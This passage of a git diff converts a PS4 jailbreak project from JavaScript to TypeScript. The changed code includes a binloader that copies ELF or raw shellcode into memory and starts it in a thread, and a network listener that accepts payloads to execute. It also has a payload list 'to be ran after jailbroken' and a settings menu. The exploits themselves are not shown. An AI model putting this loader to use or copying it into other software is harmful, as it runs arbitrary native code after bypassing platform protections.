||||||
log('Sending SIGKILL to PID ' + pid_num)
|
|
||||||
|
|
||||||
fn.kill(pid, new BigInt(0, 9))
|
|
||||||
} else {
|
} else {
|
||||||
|
log('Non-ELF binary, treating as raw shellcode (' + bin_size + ' bytes)')
|
||||||
|
// Copy raw binary
|
||||||
|
for (let i = 0; i < bin_size; i++) {
|
||||||
|
const byte = mem.view(bin_data_addr).getUint8(i)
|
||||||
|
mem.view(this.mmap_base).setUint8(i, byte)
|
||||||
|
}
|
||||||
|
this.entry_point = this.mmap_base
|
||||||
|
}
|
||||||
|
|
||||||
|
log('Entry point: ' + this.entry_point.toString())
|
||||||
|
},
|
||||||
|
run: function () {
|
||||||
|
if (this.entry_point === null) {
|
||||||
|
throw new Error('BinLoader not initialized properly - no entry point')
|
||||||
|
}
|
||||||
|
|
||||||
|
log('Spawning payload thread using thrd_create...')
|
||||||
|
|
||||||
|
// Allocate thread handle and result storage
|
||||||
|
const thread_handle = mem.malloc(8) // thrd_t handle
|
||||||
|
const thread_result = mem.malloc(4) // int result
|
||||||
|
|
||||||
|
// Initialize to 0
|
||||||
|
mem.view(thread_handle).setBigInt(0, new BigInt(0, 0), true)
|
||||||
|
mem.view(thread_result).setUint32(0, 0, true)
|
||||||
|
|
||||||
|
log('Entry point @ ' + this.entry_point.toString())
|
||||||
|
|
||||||
|
// Call thrd_create(thread_handle, entry_point, NULL)
|
||||||
|
// int thrd_create(thrd_t *thr, thrd_start_t func, void *arg);
|
||||||
|
log('Calling thrd_create...')
|
||||||
|
const ret = thrd_create(
|
||||||
|
thread_handle, // thrd_t *thr
|
||||||
|
this.entry_point, // thrd_start_t func
|
||||||
|
new BigInt(0, 0) // void *arg (NULL)
|
||||||
|
)
|
||||||
|
|
||||||
|
// thrd_success = 0
|
||||||
|
if (ret.eq(0)) {
|
||||||
|
log('SUCCESS: Payload thread created!')
|
||||||
|
const thr_id = mem.view(thread_handle).getBigInt(0, true)
|
||||||
|
log('Thread handle: ' + thr_id.toString())
|
||||||
|
// utils.notify("Payload loaded!\nThread spawned successfully");
|
||||||
|
|
||||||
|
// Check if autoclose is enabled
|
||||||
|
if (typeof CONFIG !== 'undefined' && CONFIG.autoclose && !BinLoader.skip_autoclose) {
|
||||||
|
log('CONFIG.autoclose enabled - terminating current process')
|
||||||
|
|
||||||
|
fn.register(0x14, 'getpid', [], 'bigint')
|
||||||
|
fn.register(0x25, 'kill', ['bigint', 'bigint'], 'bigint')
|
||||||
|
|
||||||
|
const pid = fn.getpid()
|
||||||
|
const pid_num = (pid instanceof BigInt) ? pid.lo : pid
|
||||||
|
log('Current PID: ' + pid_num)
|
||||||
|
log('Sending SIGKILL to PID ' + pid_num)
|
||||||
|
|
||||||
|
fn.kill(pid, new BigInt(0, 9))
|
||||||
|
} else {
|
||||||
// Call thrd_join to wait for thread completion
|
// Call thrd_join to wait for thread completion
|
||||||
// int thrd_join(thrd_t thr, int *res);
|
// int thrd_join(thrd_t thr, int *res);
|
||||||
log('Waiting for thread to complete (thrd_join)...')
|
log('Waiting for thread to complete (thrd_join)...')
|
||||||
var join_ret = thrd_join(
|
const join_ret = thrd_join(
|
||||||
thr_id, // thrd_t thr
|
thr_id, // thrd_t thr
|
||||||
thread_result // int *res
|
thread_result // int *res
|
||||||
)
|
)
|
||||||
|
|
||||||
if (join_ret.eq(0)) {
|
if (join_ret.eq(0)) {
|
||||||
var result_val = mem.view(thread_result).getUint32(0, true)
|
const result_val = mem.view(thread_result).getUint32(0, true)
|
||||||
log('Thread completed successfully with result: ' + result_val)
|
log('Thread completed successfully with result: ' + result_val)
|
||||||
} else {
|
} else {
|
||||||
log('WARNING: thrd_join returned: ' + join_ret.toString())
|
log('WARNING: thrd_join returned: ' + join_ret.toString())
|
||||||
|
}
|
||||||
|
|
||||||
|
log('Binloader complete - thread has finished')
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
log('Binloader complete - thread has finished')
|
log('ERROR: thrd_create failed with return value: ' + ret.toString())
|
||||||
|
throw new Error('Failed to spawn payload thread')
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
log('ERROR: thrd_create failed with return value: ' + ret.toString())
|
|
||||||
throw new Error('Failed to spawn payload thread')
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create listening socket
|
// Create listening socket
|
||||||
function bl_create_listen_socket (port) {
|
function bl_create_listen_socket (port: number) {
|
||||||
var sd = socket(BL_AF_INET, BL_SOCK_STREAM, 0)
|
const sd = socket(BL_AF_INET, BL_SOCK_STREAM, 0)
|
||||||
var sd_num = (sd instanceof BigInt) ? sd.lo : sd
|
const sd_num = (sd instanceof BigInt) ? sd.lo : sd
|
||||||
|
|
||||||
if (bl_is_error(sd)) {
|
if (bl_is_error(sd)) {
|
||||||
throw new Error('socket() failed')
|
throw new Error('socket() failed')
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set SO_REUSEADDR
|
// Set SO_REUSEADDR
|
||||||
var enable = mem.malloc(4)
|
const enable = mem.malloc(4)
|
||||||
mem.view(enable).setUint32(0, 1, true)
|
mem.view(enable).setUint32(0, 1, true)
|
||||||
setsockopt(sd_num, BL_SOL_SOCKET, BL_SO_REUSEADDR, enable, 4)
|
setsockopt(sd_num, BL_SOL_SOCKET, BL_SO_REUSEADDR, enable, 4)
|
||||||
|
|
||||||
// Build sockaddr_in
|
// Build sockaddr_in
|
||||||
var sockaddr = mem.malloc(16)
|
const sockaddr = mem.malloc(16)
|
||||||
for (var j = 0; j < 16; j++) {
|
for (let j = 0; j < 16; j++) {
|
||||||
mem.view(sockaddr).setUint8(j, 0)
|
mem.view(sockaddr).setUint8(j, 0)
|
||||||
}
|
}
|
||||||
mem.view(sockaddr).setUint8(1, 2) // AF_INET
|
mem.view(sockaddr).setUint8(1, 2) // AF_INET
|
||||||
@@ -534,7 +535,7 @@ binloader_init = function () {
|
|||||||
mem.view(sockaddr).setUint8(3, port & 0xff) // port low byte
|
mem.view(sockaddr).setUint8(3, port & 0xff) // port low byte
|
||||||
mem.view(sockaddr).setUint32(4, 0, true) // INADDR_ANY
|
mem.view(sockaddr).setUint32(4, 0, true) // INADDR_ANY
|
||||||
|
|
||||||
var ret = bind_sys(new BigInt(0, sd_num), sockaddr, new BigInt(0, 16))
|
let ret = bind_sys(new BigInt(0, sd_num), sockaddr, new BigInt(0, 16))
|
||||||
if (bl_is_error(ret)) {
|
if (bl_is_error(ret)) {
|
||||||
close_sys(sd_num)
|
close_sys(sd_num)
|
||||||
throw new Error('bind() failed')
|
throw new Error('bind() failed')
|
||||||
@@ -550,15 +551,15 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Read payload data from client socket
|
// Read payload data from client socket
|
||||||
function bl_read_payload_from_socket (client_sock, max_size) {
|
function bl_read_payload_from_socket (client_sock: number, max_size: number) {
|
||||||
var payload_buf = mem.malloc(max_size)
|
const payload_buf = mem.malloc(max_size)
|
||||||
var total_read = 0
|
let total_read = 0
|
||||||
|
|
||||||
while (total_read < max_size) {
|
while (total_read < max_size) {
|
||||||
var remaining = max_size - total_read
|
const remaining = max_size - total_read
|
||||||
var chunk_size = remaining < READ_CHUNK ? remaining : READ_CHUNK
|
const chunk_size = remaining < READ_CHUNK ? remaining : READ_CHUNK
|
||||||
|
|
||||||
var read_size = read_sys(
|
const read_size = read_sys(
|
||||||
new BigInt(0, client_sock),
|
new BigInt(0, client_sock),
|
||||||
payload_buf.add(new BigInt(0, total_read)),
|
payload_buf.add(new BigInt(0, total_read)),
|
||||||
new BigInt(0, chunk_size)
|
new BigInt(0, chunk_size)
|
||||||
@@ -584,10 +585,10 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Load and run payload from file
|
// Load and run payload from file
|
||||||
bl_load_from_file = function (path, skip_autoclose) {
|
function bl_load_from_file (path: string, skip_autoclose: boolean = true) {
|
||||||
log('Loading payload from: ' + path)
|
log('Loading payload from: ' + path)
|
||||||
|
|
||||||
var payload = bl_read_file(path)
|
const payload = bl_read_file(path)
|
||||||
if (payload === null) {
|
if (payload === null) {
|
||||||
log('Failed to read payload file')
|
log('Failed to read payload file')
|
||||||
return false
|
return false
|
||||||
@@ -600,19 +601,15 @@ binloader_init = function () {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
if (skip_autoclose === false) {
|
BinLoader.skip_autoclose = skip_autoclose
|
||||||
BinLoader.skip_autoclose = false
|
|
||||||
} else {
|
|
||||||
BinLoader.skip_autoclose = true
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
BinLoader.init(payload.buf, payload.size)
|
BinLoader.init(payload.buf, payload.size)
|
||||||
BinLoader.run()
|
BinLoader.run()
|
||||||
log('Payload loaded successfully')
|
log('Payload loaded successfully')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('ERROR loading payload: ' + e.message)
|
log('ERROR loading payload: ' + (e as Error).message)
|
||||||
if (e.stack) log(e.stack)
|
if ((e as Error).stack) log((e as Error).stack ?? '')
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -620,30 +617,30 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Network binloader (fallback)
|
// Network binloader (fallback)
|
||||||
bl_network_loader = function () {
|
function bl_network_loader () {
|
||||||
log('Starting network payload server...')
|
log('Starting network payload server...')
|
||||||
|
|
||||||
var server_sock
|
let server_sock
|
||||||
try {
|
try {
|
||||||
server_sock = bl_create_listen_socket(BIN_LOADER_PORT)
|
server_sock = bl_create_listen_socket(BIN_LOADER_PORT)
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('ERROR: ' + e.message)
|
log('ERROR: ' + (e as Error).message)
|
||||||
utils.notify('Bin loader failed!\n' + e.message)
|
utils.notify('Bin loader failed!\n' + (e as Error).message)
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
var network_str = '<PS4 IP>:' + BIN_LOADER_PORT
|
const network_str = '<PS4 IP>:' + BIN_LOADER_PORT
|
||||||
|
|
||||||
log('Listening on ' + network_str)
|
log('Listening on ' + network_str)
|
||||||
log('Send your ELF payload to this address')
|
log('Send your ELF payload to this address')
|
||||||
utils.notify('Binloader listening on:\n' + network_str)
|
utils.notify('Binloader listening on:\n' + network_str)
|
||||||
|
|
||||||
// Accept client connection
|
// Accept client connection
|
||||||
var sockaddr = mem.malloc(16)
|
const sockaddr = mem.malloc(16)
|
||||||
var sockaddr_len = mem.malloc(4)
|
const sockaddr_len = mem.malloc(4)
|
||||||
mem.view(sockaddr_len).setUint32(0, 16, true)
|
mem.view(sockaddr_len).setUint32(0, 16, true)
|
||||||
|
|
||||||
var client_sock = accept_sys(
|
const client_sock = accept_sys(
|
||||||
new BigInt(0, server_sock),
|
new BigInt(0, server_sock),
|
||||||
sockaddr,
|
sockaddr,
|
||||||
sockaddr_len
|
sockaddr_len
|
||||||
@@ -655,14 +652,14 @@ binloader_init = function () {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
var client_sock_num = (client_sock instanceof BigInt) ? client_sock.lo : client_sock
|
const client_sock_num = (client_sock instanceof BigInt) ? client_sock.lo : client_sock
|
||||||
log('Client connected')
|
log('Client connected')
|
||||||
|
|
||||||
var payload
|
let payload
|
||||||
try {
|
try {
|
||||||
payload = bl_read_payload_from_socket(client_sock_num, MAX_PAYLOAD_SIZE)
|
payload = bl_read_payload_from_socket(client_sock_num, MAX_PAYLOAD_SIZE)
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('ERROR reading payload: ' + e.message)
|
log('ERROR reading payload: ' + (e as Error).message)
|
||||||
close_sys(client_sock_num)
|
close_sys(client_sock_num)
|
||||||
close_sys(server_sock)
|
close_sys(server_sock)
|
||||||
return false
|
return false
|
||||||
@@ -686,8 +683,8 @@ binloader_init = function () {
|
|||||||
log('Payload loaded successfully')
|
log('Payload loaded successfully')
|
||||||
show_success()
|
show_success()
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('ERROR loading payload: ' + e.message)
|
log('ERROR loading payload: ' + (e as Error).message)
|
||||||
if (e.stack) log(e.stack)
|
if ((e as Error).stack) log((e as Error).stack ?? '')
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -698,20 +695,20 @@ binloader_init = function () {
|
|||||||
function bin_loader_main () {
|
function bin_loader_main () {
|
||||||
log('=== PS4 Payload Loader ===')
|
log('=== PS4 Payload Loader ===')
|
||||||
|
|
||||||
for (var i = 0; i < payloads.length; i++) {
|
if (typeof payloads !== 'undefined') {
|
||||||
var payload = payloads[i]
|
for (const payload of payloads) {
|
||||||
log('Loading payload: ' + payload)
|
log('Loading payload: ' + payload)
|
||||||
if (bl_file_exists(payload)) {
|
if (bl_file_exists(payload)) {
|
||||||
bl_load_from_file(payload, true)
|
bl_load_from_file(payload, true)
|
||||||
} else {
|
} else {
|
||||||
log(payload + ' not found!')
|
log(payload + ' not found!')
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Priority 1: Check for USB payload on usb0-usb4 (like BD-JB does)
|
// Priority 1: Check for USB payload on usb0-usb4 (like BD-JB does)
|
||||||
for (var i = 0; i < USB_PAYLOAD_PATHS.length; i++) {
|
for (const usb_path of USB_PAYLOAD_PATHS) {
|
||||||
var usb_path = USB_PAYLOAD_PATHS[i]
|
const usb_size = bl_file_exists(usb_path)
|
||||||
var usb_size = bl_file_exists(usb_path)
|
|
||||||
|
|
||||||
if (usb_size > 0) {
|
if (usb_size > 0) {
|
||||||
log('Found USB payload: ' + usb_path + ' (' + usb_size + ' bytes)')
|
log('Found USB payload: ' + usb_path + ' (' + usb_size + ' bytes)')
|
||||||
@@ -730,7 +727,7 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Priority 2: Check for cached /data payload
|
// Priority 2: Check for cached /data payload
|
||||||
var data_size = bl_file_exists(DATA_PAYLOAD_PATH)
|
const data_size = bl_file_exists(DATA_PAYLOAD_PATH)
|
||||||
if (data_size > 0) {
|
if (data_size > 0) {
|
||||||
log('Found cached payload: ' + DATA_PAYLOAD_PATH + ' (' + data_size + ' bytes)')
|
log('Found cached payload: ' + DATA_PAYLOAD_PATH + ' (' + data_size + ' bytes)')
|
||||||
return bl_load_from_file(DATA_PAYLOAD_PATH, false)
|
return bl_load_from_file(DATA_PAYLOAD_PATH, false)
|
||||||
@@ -750,6 +747,11 @@ binloader_init = function () {
|
|||||||
} else {
|
} else {
|
||||||
bl_load_from_file('/download0/payloads/elfldr.elf')
|
bl_load_from_file('/download0/payloads/elfldr.elf')
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
bl_load_from_file,
|
||||||
|
bl_network_loader
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Verify function is defined
|
// Verify function is defined
|
||||||
@@ -1,9 +1,9 @@
|
|||||||
var CONFIG = {
|
export const CONFIG = {
|
||||||
autolapse: false,
|
autolapse: false,
|
||||||
autopoop: false,
|
autopoop: false,
|
||||||
autoclose: false
|
autoclose: false
|
||||||
}
|
}
|
||||||
|
|
||||||
var payloads = [ // to be ran after jailbroken
|
export const payloads = [ // to be ran after jailbroken
|
||||||
'/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf'
|
'/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf'
|
||||||
]
|
]
|
||||||
@@ -1,3 +1,7 @@
|
|||||||
|
import { libc_addr } from 'download0/userland'
|
||||||
|
import { stats } from 'download0/stats-tracker'
|
||||||
|
import { lang } from 'download0/languages'
|
||||||
|
|
||||||
if (typeof libc_addr === 'undefined') {
|
if (typeof libc_addr === 'undefined') {
|
||||||
include('userland.js')
|
include('userland.js')
|
||||||
}
|
}
|
||||||
@@ -9,9 +13,9 @@ if (typeof lang === 'undefined') {
|
|||||||
(function () {
|
(function () {
|
||||||
log(lang.loadingConfig)
|
log(lang.loadingConfig)
|
||||||
|
|
||||||
var fs = {
|
const fs = {
|
||||||
write: function (filename, content, callback) {
|
write: function (filename: string, content: string, callback: (error: Error | null) => void) {
|
||||||
var xhr = new jsmaf.XMLHttpRequest()
|
const xhr = new jsmaf.XMLHttpRequest()
|
||||||
xhr.onreadystatechange = function () {
|
xhr.onreadystatechange = function () {
|
||||||
if (xhr.readyState === 4 && callback) {
|
if (xhr.readyState === 4 && callback) {
|
||||||
callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'))
|
callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'))
|
||||||
@@ -21,8 +25,8 @@ if (typeof lang === 'undefined') {
|
|||||||
xhr.send(content)
|
xhr.send(content)
|
||||||
},
|
},
|
||||||
|
|
||||||
read: function (filename, callback) {
|
read: function (filename: string, callback: (error: Error | null, data?: string) => void) {
|
||||||
var xhr = new jsmaf.XMLHttpRequest()
|
const xhr = new jsmaf.XMLHttpRequest()
|
||||||
xhr.onreadystatechange = function () {
|
xhr.onreadystatechange = function () {
|
||||||
if (xhr.readyState === 4 && callback) {
|
if (xhr.readyState === 4 && callback) {
|
||||||
callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'), xhr.responseText)
|
callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'), xhr.responseText)
|
||||||
@@ -33,29 +37,29 @@ if (typeof lang === 'undefined') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var currentConfig = {
|
const currentConfig = {
|
||||||
autolapse: false,
|
autolapse: false,
|
||||||
autopoop: false,
|
autopoop: false,
|
||||||
autoclose: false
|
autoclose: false
|
||||||
}
|
}
|
||||||
|
|
||||||
var currentButton = 0
|
let currentButton = 0
|
||||||
var buttons = []
|
const buttons: Image[] = []
|
||||||
var buttonTexts = []
|
const buttonTexts: jsmaf.Text[] = []
|
||||||
var buttonMarkers = []
|
const buttonMarkers: (Image | null)[] = []
|
||||||
var buttonOrigPos = []
|
const buttonOrigPos: { x: number; y: number }[] = []
|
||||||
var textOrigPos = []
|
const textOrigPos: { x: number; y: number }[] = []
|
||||||
var valueTexts = []
|
const valueTexts: Image[] = []
|
||||||
|
|
||||||
var normalButtonImg = 'file:///assets/img/button_over_9.png'
|
const normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||||
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||||
|
|
||||||
jsmaf.root.children.length = 0
|
jsmaf.root.children.length = 0
|
||||||
|
|
||||||
new Style({name: 'white', color: 'white', size: 24})
|
new Style({ name: 'white', color: 'white', size: 24 })
|
||||||
new Style({name: 'title', color: 'white', size: 32})
|
new Style({ name: 'title', color: 'white', size: 32 })
|
||||||
|
|
||||||
var background = new Image({
|
const background = new Image({
|
||||||
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
||||||
x: 0,
|
x: 0,
|
||||||
y: 0,
|
y: 0,
|
||||||
@@ -64,7 +68,7 @@ if (typeof lang === 'undefined') {
|
|||||||
})
|
})
|
||||||
jsmaf.root.children.push(background)
|
jsmaf.root.children.push(background)
|
||||||
|
|
||||||
var logo = new Image({
|
const logo = new Image({
|
||||||
url: 'file:///../download0/img/logo.png',
|
url: 'file:///../download0/img/logo.png',
|
||||||
x: 1620,
|
x: 1620,
|
||||||
y: 0,
|
y: 0,
|
||||||
@@ -73,10 +77,10 @@ if (typeof lang === 'undefined') {
|
|||||||
})
|
})
|
||||||
jsmaf.root.children.push(logo)
|
jsmaf.root.children.push(logo)
|
||||||
|
|
||||||
var title = new jsmaf.Text()
|
const title = new jsmaf.Text()
|
||||||
title.text = lang.config
|
title.text = lang.config
|
||||||
title.x = 910
|
title.x = 20
|
||||||
title.y = 120
|
title.y = 40
|
||||||
title.style = 'title'
|
title.style = 'title'
|
||||||
jsmaf.root.children.push(title)
|
jsmaf.root.children.push(title)
|
||||||
|
|
||||||
@@ -85,10 +89,10 @@ if (typeof lang === 'undefined') {
|
|||||||
|
|
||||||
// Load and display stats
|
// Load and display stats
|
||||||
stats.load()
|
stats.load()
|
||||||
var statsData = stats.get()
|
const statsData = stats.get()
|
||||||
|
|
||||||
// Create text elements for each stat
|
// Create text elements for each stat
|
||||||
var statsToDisplay = [
|
const statsToDisplay = [
|
||||||
lang.totalAttempts + statsData.total,
|
lang.totalAttempts + statsData.total,
|
||||||
lang.successes + statsData.success,
|
lang.successes + statsData.success,
|
||||||
lang.failures + statsData.failures,
|
lang.failures + statsData.failures,
|
||||||
@@ -97,32 +101,33 @@ if (typeof lang === 'undefined') {
|
|||||||
]
|
]
|
||||||
|
|
||||||
// Display each stat line
|
// Display each stat line
|
||||||
for (var i = 0; i < statsToDisplay.length; i++) {
|
for (let i = 0; i < statsToDisplay.length; i++) {
|
||||||
var lineText = new jsmaf.Text()
|
const lineText = new jsmaf.Text()
|
||||||
lineText.text = statsToDisplay[i]
|
lineText.text = statsToDisplay[i]!
|
||||||
lineText.x = 20
|
lineText.x = 20
|
||||||
lineText.y = 120 + (i * 20)
|
lineText.y = 120 + (i * 20)
|
||||||
lineText.style = 'white'
|
lineText.style = 'white'
|
||||||
jsmaf.root.children.push(lineText)
|
jsmaf.root.children.push(lineText)
|
||||||
}
|
}
|
||||||
|
|
||||||
var configOptions = [
|
const configOptions = [
|
||||||
{ key: 'autolapse', label: lang.autoLapse, textImg: 'auto_lapse_btn_txt.png' },
|
{ key: 'autolapse', label: lang.autoLapse, textImg: 'auto_lapse_btn_txt.png' },
|
||||||
{ key: 'autopoop', label: lang.autoPoop, textImg: 'auto_poop_btn_txt.png' },
|
{ key: 'autopoop', label: lang.autoPoop, textImg: 'auto_poop_btn_txt.png' },
|
||||||
{ key: 'autoclose', label: lang.autoClose, textImg: 'auto_close_btn_txt.png' }
|
{ key: 'autoclose', label: lang.autoClose, textImg: 'auto_close_btn_txt.png' }
|
||||||
]
|
]
|
||||||
|
|
||||||
var centerX = 960
|
const centerX = 960
|
||||||
var startY = 300
|
const startY = 300
|
||||||
var buttonSpacing = 120
|
const buttonSpacing = 120
|
||||||
var buttonWidth = 400
|
const buttonWidth = 400
|
||||||
var buttonHeight = 80
|
const buttonHeight = 80
|
||||||
|
|
||||||
for (var i = 0; i < configOptions.length; i++) {
|
for (let i = 0; i < configOptions.length; i++) {
|
||||||
var btnX = centerX - buttonWidth / 2
|
const configOption = configOptions[i]!
|
||||||
var btnY = startY + i * buttonSpacing
|
const btnX = centerX - buttonWidth / 2
|
||||||
|
const btnY = startY + i * buttonSpacing
|
||||||
|
|
||||||
var button = new Image({
|
const button = new Image({
|
||||||
url: normalButtonImg,
|
url: normalButtonImg,
|
||||||
x: btnX,
|
x: btnX,
|
||||||
y: btnY,
|
y: btnY,
|
||||||
@@ -134,16 +139,17 @@ if (typeof lang === 'undefined') {
|
|||||||
|
|
||||||
buttonMarkers.push(null)
|
buttonMarkers.push(null)
|
||||||
|
|
||||||
var btnText = new jsmaf.Text()
|
const btnText = new jsmaf.Text()
|
||||||
btnText.text = configOptions[i].label
|
btnText.text = configOption.label
|
||||||
btnText.x = btnX + 30
|
btnText.x = btnX + 20
|
||||||
btnText.y = btnY + 28
|
btnText.y = btnY + 20
|
||||||
btnText.style = 'white'
|
btnText.style = 'white'
|
||||||
|
jsmaf.root.children.push(btnText)
|
||||||
buttonTexts.push(btnText)
|
buttonTexts.push(btnText)
|
||||||
jsmaf.root.children.push(btnText)
|
jsmaf.root.children.push(btnText)
|
||||||
|
|
||||||
var checkmark = new Image({
|
const checkmark = new Image({
|
||||||
url: currentConfig[configOptions[i].key] ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png',
|
url: currentConfig[configOption.key as keyof typeof currentConfig] ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png',
|
||||||
x: btnX + 320,
|
x: btnX + 320,
|
||||||
y: btnY + 20,
|
y: btnY + 20,
|
||||||
width: 40,
|
width: 40,
|
||||||
@@ -152,14 +158,14 @@ if (typeof lang === 'undefined') {
|
|||||||
valueTexts.push(checkmark)
|
valueTexts.push(checkmark)
|
||||||
jsmaf.root.children.push(checkmark)
|
jsmaf.root.children.push(checkmark)
|
||||||
|
|
||||||
buttonOrigPos.push({x: btnX, y: btnY})
|
buttonOrigPos.push({ x: btnX, y: btnY })
|
||||||
textOrigPos.push({x: btnText.x, y: btnText.y})
|
textOrigPos.push({ x: btnText.x, y: btnText.y })
|
||||||
}
|
}
|
||||||
|
|
||||||
var backX = centerX - buttonWidth / 2
|
const backX = centerX - buttonWidth / 2
|
||||||
var backY = startY + configOptions.length * buttonSpacing + 100
|
const backY = startY + configOptions.length * buttonSpacing + 100
|
||||||
|
|
||||||
var backButton = new Image({
|
const backButton = new Image({
|
||||||
url: normalButtonImg,
|
url: normalButtonImg,
|
||||||
x: backX,
|
x: backX,
|
||||||
y: backY,
|
y: backY,
|
||||||
@@ -169,7 +175,7 @@ if (typeof lang === 'undefined') {
|
|||||||
buttons.push(backButton)
|
buttons.push(backButton)
|
||||||
jsmaf.root.children.push(backButton)
|
jsmaf.root.children.push(backButton)
|
||||||
|
|
||||||
var backMarker = new Image({
|
const backMarker = new Image({
|
||||||
url: 'file:///assets/img/ad_pod_marker.png',
|
url: 'file:///assets/img/ad_pod_marker.png',
|
||||||
x: backX + buttonWidth - 50,
|
x: backX + buttonWidth - 50,
|
||||||
y: backY + 35,
|
y: backY + 35,
|
||||||
@@ -180,7 +186,7 @@ if (typeof lang === 'undefined') {
|
|||||||
buttonMarkers.push(backMarker)
|
buttonMarkers.push(backMarker)
|
||||||
jsmaf.root.children.push(backMarker)
|
jsmaf.root.children.push(backMarker)
|
||||||
|
|
||||||
var backText = new jsmaf.Text()
|
const backText = new jsmaf.Text()
|
||||||
backText.text = lang.back
|
backText.text = lang.back
|
||||||
backText.x = backX + buttonWidth / 2 - 20
|
backText.x = backX + buttonWidth / 2 - 20
|
||||||
backText.y = backY + buttonHeight / 2 - 12
|
backText.y = backY + buttonHeight / 2 - 12
|
||||||
@@ -188,32 +194,32 @@ if (typeof lang === 'undefined') {
|
|||||||
buttonTexts.push(backText)
|
buttonTexts.push(backText)
|
||||||
jsmaf.root.children.push(backText)
|
jsmaf.root.children.push(backText)
|
||||||
|
|
||||||
buttonOrigPos.push({x: backX, y: backY})
|
buttonOrigPos.push({ x: backX, y: backY })
|
||||||
textOrigPos.push({x: backText.x, y: backText.y})
|
textOrigPos.push({ x: backText.x, y: backText.y })
|
||||||
|
|
||||||
var zoomInInterval = null
|
let zoomInInterval: number | null = null
|
||||||
var zoomOutInterval = null
|
let zoomOutInterval: number | null = null
|
||||||
var prevButton = -1
|
let prevButton = -1
|
||||||
|
|
||||||
function easeInOut (t) {
|
function easeInOut (t: number) {
|
||||||
return (1 - Math.cos(t * Math.PI)) / 2
|
return (1 - Math.cos(t * Math.PI)) / 2
|
||||||
}
|
}
|
||||||
|
|
||||||
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||||
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
||||||
var btnW = buttonWidth
|
const btnW = buttonWidth
|
||||||
var btnH = buttonHeight
|
const btnH = buttonHeight
|
||||||
var startScale = btn.scaleX || 1.0
|
const startScale = btn.scaleX || 1.0
|
||||||
var endScale = 1.1
|
const endScale = 1.1
|
||||||
var duration = 175
|
const duration = 175
|
||||||
var elapsed = 0
|
let elapsed = 0
|
||||||
var step = 16
|
const step = 16
|
||||||
|
|
||||||
zoomInInterval = jsmaf.setInterval(function () {
|
zoomInInterval = jsmaf.setInterval(function () {
|
||||||
elapsed += step
|
elapsed += step
|
||||||
var t = Math.min(elapsed / duration, 1)
|
const t = Math.min(elapsed / duration, 1)
|
||||||
var eased = easeInOut(t)
|
const eased = easeInOut(t)
|
||||||
var scale = startScale + (endScale - startScale) * eased
|
const scale = startScale + (endScale - startScale) * eased
|
||||||
|
|
||||||
btn.scaleX = scale
|
btn.scaleX = scale
|
||||||
btn.scaleY = scale
|
btn.scaleY = scale
|
||||||
@@ -225,27 +231,27 @@ if (typeof lang === 'undefined') {
|
|||||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
|
||||||
if (t >= 1) {
|
if (t >= 1) {
|
||||||
jsmaf.clearInterval(zoomInInterval)
|
jsmaf.clearInterval(zoomInInterval ?? -1)
|
||||||
zoomInInterval = null
|
zoomInInterval = null
|
||||||
}
|
}
|
||||||
}, step)
|
}, step)
|
||||||
}
|
}
|
||||||
|
|
||||||
function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||||
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
||||||
var btnW = buttonWidth
|
const btnW = buttonWidth
|
||||||
var btnH = buttonHeight
|
const btnH = buttonHeight
|
||||||
var startScale = btn.scaleX || 1.1
|
const startScale = btn.scaleX || 1.1
|
||||||
var endScale = 1.0
|
const endScale = 1.0
|
||||||
var duration = 175
|
const duration = 175
|
||||||
var elapsed = 0
|
let elapsed = 0
|
||||||
var step = 16
|
const step = 16
|
